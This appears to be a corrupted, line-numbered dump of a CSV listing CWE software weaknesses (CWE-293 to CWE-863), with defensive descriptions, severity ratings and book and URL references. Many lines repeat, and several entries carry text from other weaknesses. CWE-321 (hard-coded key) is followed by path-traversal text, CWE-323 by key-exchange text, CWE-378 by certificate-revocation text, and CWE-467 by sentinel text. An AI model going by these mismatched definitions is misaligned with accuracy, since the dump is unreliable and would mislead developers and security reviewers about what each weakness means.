69 IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.",,high,
69 IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.",,high,
7070 CWE-293,Using Referer Field for Authentication (Type: Variant),"The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.
71 IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.",,high,"The Art of Software Security Assessment: Chapter 17, ""Referer Request Header"", Page 1030."
71 IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.",,high,"The Art of Software Security Assessment: Chapter 17, ""Referer Request Header"", Page 1030."
7272 CWE-294,Authentication Bypass by Capture-replay (Type: Base),"A capture-replay flaw exists when the design of the software makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).
73 Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.",,high,
73 Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.",,high,
7474 CWE-297,Improper Validation of Certificate with Host Mismatch (Type: Variant),"The software communicates with a host that provides a certificate, but the software does not properly ensure that the certificate is actually associated with that host.
7575 Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the software is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed.
7676 Even if the software attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name.",,high,"The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software: http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf
7777 Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security: http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf
7878 Secure programming with the OpenSSL API, Part 2: Secure handshake: http://www.ibm.com/developerworks/library/l-openssl2/index.html
7979 An Introduction to OpenSSL Programming (Part I): http://www.rtfm.com/openssl-examples/part1.pdf
80 24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347"
80 24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347"
8181 CWE-308,Use of Single-factor Authentication (Type: Base),"The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.
82 While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.",,high,
82 While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.",,high,
8383 CWE-321,Use of Hard-coded Cryptographic Key (Type: Base),"The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.
8484 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
85 The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to ""..\.."" and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of ""./"" sequences, can ultimately produce valid "".."" sequences due to a collapse into unsafe value (CWE-182).",,high,
85 The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to ""..\.."" and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of ""./"" sequences, can ultimately produce valid "".."" sequences due to a collapse into unsafe value (CWE-182).",,high,
8686 CWE-322,Key Exchange without Entity Authentication (Type: Base),"The software performs a key exchange with an actor without verifying the identity of that actor.
8787 Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable a set of ""man-in-the-middle"" attacks. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.",,high,"24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347
88 The Art of Software Security Assessment: Chapter 2, ""Untrustworthy Credentials"", Page 37."
88 The Art of Software Security Assessment: Chapter 2, ""Untrustworthy Credentials"", Page 37."
8989 CWE-323,"Reusing a Nonce, Key Pair in Encryption (Type: Base)","Nonces should be used for the present occasion and only once.
90 Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable a set of ""man-in-the-middle"" attacks. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.",,high,
90 Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable a set of ""man-in-the-middle"" attacks. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.",,high,
9191 CWE-360,Trust of System Event Data (Type: Base),"Security based on event locations are insecure and can be spoofed.
92 Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.",,high,
92 Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.",,high,
9393 CWE-378,Creation of Temporary File With Insecure Permissions (Type: Base),"Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.
94 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,high,
94 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,high,
9595 CWE-416,Use After Free (Type: Base),"Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.
9696 The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:
9797 Error conditions and other exceptional circumstances.
9898 Confusion over which part of the program is responsible for freeing the memory.
9999 In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.
100 If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.",,high,"24 Deadly Sins of Software Security: ""Sin 8: C++ Catastrophes."" Page 143"
100 If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.",,high,"24 Deadly Sins of Software Security: ""Sin 8: C++ Catastrophes."" Page 143"
101101 CWE-457,Use of Uninitialized Variable (Type: Variant),"The code uses a variable that has not been initialized, leading to unpredictable or unintended results.
102102 In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.",,high,"Exploiting Uninitialized Data: http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip
103103 MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability: http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx
104104 24 Deadly Sins of Software Security: ""Sin 8: C++ Catastrophes."" Page 143
105 The Art of Software Security Assessment: Chapter 7, ""Variable Initialization"", Page 312."
105 The Art of Software Security Assessment: Chapter 7, ""Variable Initialization"", Page 312."
106106 CWE-467,Use of sizeof() on a Pointer Type (Type: Variant),"The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.
107 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,high,EXP01-A. Do not take the sizeof a pointer to determine the size of a type: https://www.securecoding.cert.org/confluence/display/seccode/EXP01-A.+Do+not+take+the+sizeof+a+pointer+to+determine+the+size+of+a+type
107 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,high,EXP01-A. Do not take the sizeof a pointer to determine the size of a type: https://www.securecoding.cert.org/confluence/display/seccode/EXP01-A.+Do+not+take+the+sizeof+a+pointer+to+determine+the+size+of+a+type
108108 CWE-486,Comparison of Classes by Name (Type: Variant),"The program compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.
109 If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.",,high,
109 If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.",,high,
110110 CWE-493,Critical Public Variable Without Final Modifier (Type: Variant),"The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.
111 If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.",,high,
111 If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.",,high,
112112 CWE-499,Serializable Class Containing Sensitive Data (Type: Variant),"The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.
113 Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.",,high,
113 Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.",,high,
114114 CWE-500,Public Static Field Not Marked Final (Type: Variant),"An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.
115 Public static variables can be read without an accessor and changed without a mutator by any classes in the application.",,high,
115 Public static variables can be read without an accessor and changed without a mutator by any classes in the application.",,high,
116116 CWE-515,Covert Storage Channel (Type: Base),"A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.
117 Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.",,high,
117 Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.",,high,
118118 CWE-639,Authorization Bypass Through User-Controlled Key (Type: Base),"The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
119 Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system. One manifestation of this weakness would be if a system used sequential or otherwise easily guessable session ids that would allow one user to easily switch to another user's session and read/modify their data.",,high,
119 Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system. One manifestation of this weakness would be if a system used sequential or otherwise easily guessable session ids that would allow one user to easily switch to another user's session and read/modify their data.",,high,
120120 CWE-640,Weak Password Recovery Mechanism for Forgotten Password (Type: Base),"The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.
121121 It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account.
122 This weakness may be that the security question is too easy to guess or find an answer to (e.g. because it is too common). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system. Weak password recovery schemes completely undermine a strong password authentication scheme.",,high,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
122 This weakness may be that the security question is too easy to guess or find an answer to (e.g. because it is too common). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system. Weak password recovery schemes completely undermine a strong password authentication scheme.",,high,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
123123 CWE-642,External Control of Critical State Data (Type: Class),"The software stores security-critical state information about its users, or the software itself, in a location that is accessible to unauthorized actors.
124124 If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.
125125 State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an ""authenticated=true"" cookie. An attacker may simply create this cookie in order to bypass the authentication.",,high,"Top 10 2007-Insecure Direct Object Reference: http://www.owasp.org/index.php/Top_10_2007-A4
126126 HMAC: http://en.wikipedia.org/wiki/Hmac
127 24 Deadly Sins of Software Security: ""Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form Fields."" Page 75"
127 24 Deadly Sins of Software Security: ""Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form Fields."" Page 75"
128128 CWE-643,Improper Neutralization of Data within XPath Expressions (XPath Injection) (Type: Base),"The software uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
129129 The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).",,high,"XPath Injection: http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml
130 The Art of Software Security Assessment: Chapter 17, ""XPath Injection"", Page 1070."
130 The Art of Software Security Assessment: Chapter 17, ""XPath Injection"", Page 1070."
131131 CWE-644,Improper Neutralization of HTTP Headers for Scripting Syntax (Type: Variant),"The application does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.
132132 An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.
133 If an application does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.",,high,
133 If an application does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.",,high,
134134 CWE-645,Overly Restrictive Account Lockout Mechanism (Type: Base),"The software contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily. This allows attackers to deny service to legitimate users by causing their accounts to be locked out.
135 Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.",,high,
135 Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.",,high,
136136 CWE-646,Reliance on File Name or Extension of Externally-Supplied File (Type: Variant),"The software allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.
137 An application might use the file name or extension of of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a "".php.gif"" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.",,high,
137 An application might use the file name or extension of of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a "".php.gif"" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.",,high,
138138 CWE-647,Use of Non-Canonical URL Paths for Authorization Decisions (Type: Variant),"The software defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.
139139 If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision, then it opens the application to attack. For example, if the application only wants to allow access to http://www.example.com/mypage, then the attacker might be able to bypass this restriction using equivalent URLs such as:
140140 http://WWW.EXAMPLE.COM/mypage
142142 http://192.168.1.1/mypage (IP address)
143143 http://www.example.com/mypage/ (trailing /)
144144 http://www.example.com:80/mypage
145 Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).",,high,
145 Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).",,high,
146146 CWE-649,Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (Type: Base),"The software uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the software does not use integrity checks to detect if those inputs have been modified.
147 When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary blindly traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate his or her privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.",,high,
147 When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary blindly traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate his or her privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.",,high,
148148 CWE-650,Trusting HTTP Permission Methods on the Server Side (Type: Variant),"The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.
149 An application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation, believing that it will be enough to prevent unintended resource alterations. Even though the HTTP GET specification requires that GET requests should not have side effects, there is nothing in the HTTP protocol itself that prevents the HTTP GET method from performing more than just query of the data. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. Whenever that happens however, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, and POST methods have the power to alter the representation of the resource being accessed in the request.",,high,
149 An application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation, believing that it will be enough to prevent unintended resource alterations. Even though the HTTP GET specification requires that GET requests should not have side effects, there is nothing in the HTTP protocol itself that prevents the HTTP GET method from performing more than just query of the data. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. Whenever that happens however, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, and POST methods have the power to alter the representation of the resource being accessed in the request.",,high,
150150 CWE-652,Improper Neutralization of Data within XQuery Expressions (XQuery Injection) (Type: Base),"The software uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
151 The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).",,high,
151 The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).",,high,
152152 CWE-676,Use of Potentially Dangerous Function (Type: Base),"The program invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.
153153 Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.",,high,"Security Development Lifecycle (SDL) Banned Function Calls: http://msdn.microsoft.com/en-us/library/bb288454.aspx
154154 Writing Secure Code: Chapter 5, ""Safe String Handling"" Page 156, 160
155 The Art of Software Security Assessment: Chapter 8, ""C String Handling"", Page 388."
155 The Art of Software Security Assessment: Chapter 8, ""C String Handling"", Page 388."
156156 CWE-682,Incorrect Calculation (Type: Class),"The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management..
157157 When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.",,high,"SafeInt: http://safeint.codeplex.com/
158158 24 Deadly Sins of Software Security: ""Sin 7: Integer Overflows."" Page 119
159 The Art of Software Security Assessment: Chapter 6, ""Signed Integer Boundaries"", Page 220."
159 The Art of Software Security Assessment: Chapter 6, ""Signed Integer Boundaries"", Page 220."
160160 CWE-78,Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) (Type: Base),"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component..
161161 This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.
162162 There are at least two subtypes of OS command injection:
171171 Top 25 Series - Rank 9 - OS Command Injection: http://blogs.sans.org/appsecstreetfighter/2010/02/24/top-25-series-rank-9-os-command-injection/
172172 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI
173173 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
174 The Art of Software Security Assessment: Chapter 8, ""Shell Metacharacters"", Page 425."
174 The Art of Software Security Assessment: Chapter 8, ""Shell Metacharacters"", Page 425."
175175 CWE-784,Reliance on Cookies without Validation and Integrity Checking in a Security Decision (Type: Variant),"The application uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.
176176 Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.",,high,"Unforgivable Vulnerabilities: http://cve.mitre.org/docs/docs-2007/unforgivable.pdf
177 Writing Secure Code: Chapter 13, ""Sensitive Data in Cookies and Fields"" Page 435"
177 Writing Secure Code: Chapter 13, ""Sensitive Data in Cookies and Fields"" Page 435"
178178 CWE-862,Missing Authorization (Type: Class),"The software does not perform an authorization check when an actor attempts to access a resource or perform an action.
179179 Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
180180 When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.",,high,"Role Based Access Control and Role Based Security: http://csrc.nist.gov/groups/SNS/rbac/
182182 Top 25 Series - Rank 5 - Improper Access Control (Authorization): http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/
183183 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI
184184 Authentication using JAAS: http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html
185 The Art of Software Security Assessment: Chapter 2, ""Common Vulnerabilities of Authorization"", Page 39."
185 The Art of Software Security Assessment: Chapter 2, ""Common Vulnerabilities of Authorization"", Page 39."
186186 CWE-863,Incorrect Authorization (Type: Class),"The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.
187187 Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
188188 When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.",,high,"Role Based Access Control and Role Based Security: http://csrc.nist.gov/groups/SNS/rbac/
190190 Top 25 Series - Rank 5 - Improper Access Control (Authorization): http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/
191191 Authentication using JAAS: http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html
192192 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI
